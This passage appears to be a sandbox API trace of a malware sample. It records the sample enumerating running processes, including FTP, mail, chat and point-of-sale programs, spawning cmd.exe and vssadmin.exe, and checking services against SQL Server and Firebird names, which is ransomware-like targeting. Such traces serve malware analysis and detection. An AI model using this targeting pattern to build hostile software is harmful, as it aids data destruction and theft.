1 [0044.570] lstrlenW (lpString="madrid.exe") returned 10 [0044.570] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0044.571] lstrlenW (lpString="measurerush.exe") returned 15 [0044.571] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0044.571] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0044.571] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0044.572] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0044.572] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0044.572] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0044.572] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0044.573] lstrlenW (lpString="jessefun.exe") returned 12 [0044.573] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0044.573] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0044.573] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0044.574] lstrlenW (lpString="sellers.exe") returned 11 [0044.574] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0044.574] lstrlenW (lpString="gras hair.exe") returned 13 [0044.574] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0044.575] lstrlenW (lpString="acquisitions.exe") returned 16 [0044.575] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0044.575] lstrlenW (lpString="starscondos.exe") returned 15 [0044.575] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0044.576] lstrlenW (lpString="3dftp.exe") returned 9 [0044.576] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0044.576] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0044.576] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0044.577] lstrlenW (lpString="alftp.exe") returned 9 [0044.577] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0044.577] lstrlenW (lpString="barca.exe") returned 9 [0044.578] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0044.578] lstrlenW (lpString="bitkinex.exe") returned 12 [0044.578] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0044.579] lstrlenW (lpString="coreftp.exe") returned 11 [0044.579] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0044.579] lstrlenW (lpString="far.exe") returned 7 [0044.579] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0044.580] lstrlenW (lpString="filezilla.exe") returned 13 [0044.580] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0044.580] lstrlenW (lpString="flashfxp.exe") returned 12 [0044.580] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0044.581] lstrlenW (lpString="fling.exe") returned 9 [0044.581] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0044.581] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0044.581] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0044.582] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0044.582] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0044.583] lstrlenW (lpString="icq.exe") returned 7 [0044.583] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0044.584] lstrlenW (lpString="leechftp.exe") returned 12 [0044.584] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0044.585] lstrlenW (lpString="ncftp.exe") returned 9 [0044.585] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0044.585] lstrlenW (lpString="notepad.exe") returned 11 [0044.585] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0044.586] lstrlenW (lpString="operamail.exe") returned 13 [0044.586] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0044.587] lstrlenW (lpString="pidgin.exe") returned 10 [0044.587] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0044.588] lstrlenW (lpString="scriptftp.exe") returned 13 [0044.588] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0044.589] lstrlenW (lpString="skype.exe") returned 9 [0044.589] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0044.589] lstrlenW (lpString="smartftp.exe") returned 12 [0044.590] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0044.590] lstrlenW (lpString="thunderbird.exe") returned 15 [0044.590] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0044.591] lstrlenW (lpString="totalcmd.exe") returned 12 [0044.591] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0044.592] lstrlenW (lpString="trillian.exe") returned 12 [0044.592] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0044.592] lstrlenW (lpString="webdrive.exe") returned 12 [0044.592] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0044.593] lstrlenW (lpString="whatsapp.exe") returned 12 [0044.593] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0044.594] lstrlenW (lpString="winscp.exe") returned 10 [0044.594] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0044.595] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0044.595] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0044.596] lstrlenW (lpString="active-charge.exe") returned 17 [0044.596] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0044.596] lstrlenW (lpString="accupos.exe") returned 11 [0044.596] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0044.597] lstrlenW (lpString="afr38.exe") returned 9 [0044.597] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0044.598] lstrlenW (lpString="aldelo.exe") returned 10 [0044.598] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0044.598] lstrlenW (lpString="ccv_server.exe") returned 14 [0044.599] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0044.599] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0044.599] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0044.600] lstrlenW (lpString="creditservice.exe") returned 17 [0044.600] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0044.806] lstrlenW (lpString="edcsvr.exe") returned 10 [0044.806] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0044.807] lstrlenW (lpString="fpos.exe") returned 8 [0044.807] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0044.807] lstrlenW (lpString="isspos.exe") returned 10 [0044.807] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0044.808] lstrlenW (lpString="mxslipstream.exe") returned 16 [0044.808] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0044.809] lstrlenW (lpString="omnipos.exe") returned 11 [0044.809] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0044.809] lstrlenW (lpString="spcwin.exe") returned 10 [0044.809] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0044.810] lstrlenW (lpString="spgagentservice.exe") returned 19 [0044.810] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0044.811] lstrlenW (lpString="utg2.exe") returned 8 [0044.811] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0044.811] lstrlenW (lpString="burner.exe") returned 10 [0044.811] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.812] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.812] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.813] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.813] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0044.813] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0044.813] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.814] lstrlenW (lpString="cmd.exe") returned 7 [0044.814] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.814] lstrlenW (lpString="conhost.exe") returned 11 [0044.815] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.815] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.815] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.816] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.816] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0044.816] CloseHandle (hObject=0x1e0) returned 1 [0044.816] Sleep (dwMilliseconds=0x1f4) [0045.867] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5a0040 [0045.868] EnumServicesStatusExW (in: hSCManager=0x5a0040, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0045.868] GetLastError () returned 0xea [0045.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13a6) returned 0x37f2700 [0045.869] EnumServicesStatusExW (in: hSCManager=0x5a0040, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f2700, cbBufSize=0x13a6, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f2700, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0045.870] CloseServiceHandle (hSCObject=0x5a0040) returned 1 [0045.870] lstrlenW (lpString="Appinfo") returned 7 [0045.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.870] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.870] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.870] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.870] lstrlenW (lpString="AudioSrv") returned 8 [0045.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.870] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.870] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.870] lstrlenW (lpString="BFE") returned 3 [0045.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.870] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.870] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.870] lstrlenW (lpString="CryptSvc") returned 8 [0045.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.871] lstrcmpiW (lpString1="sqlwriter", 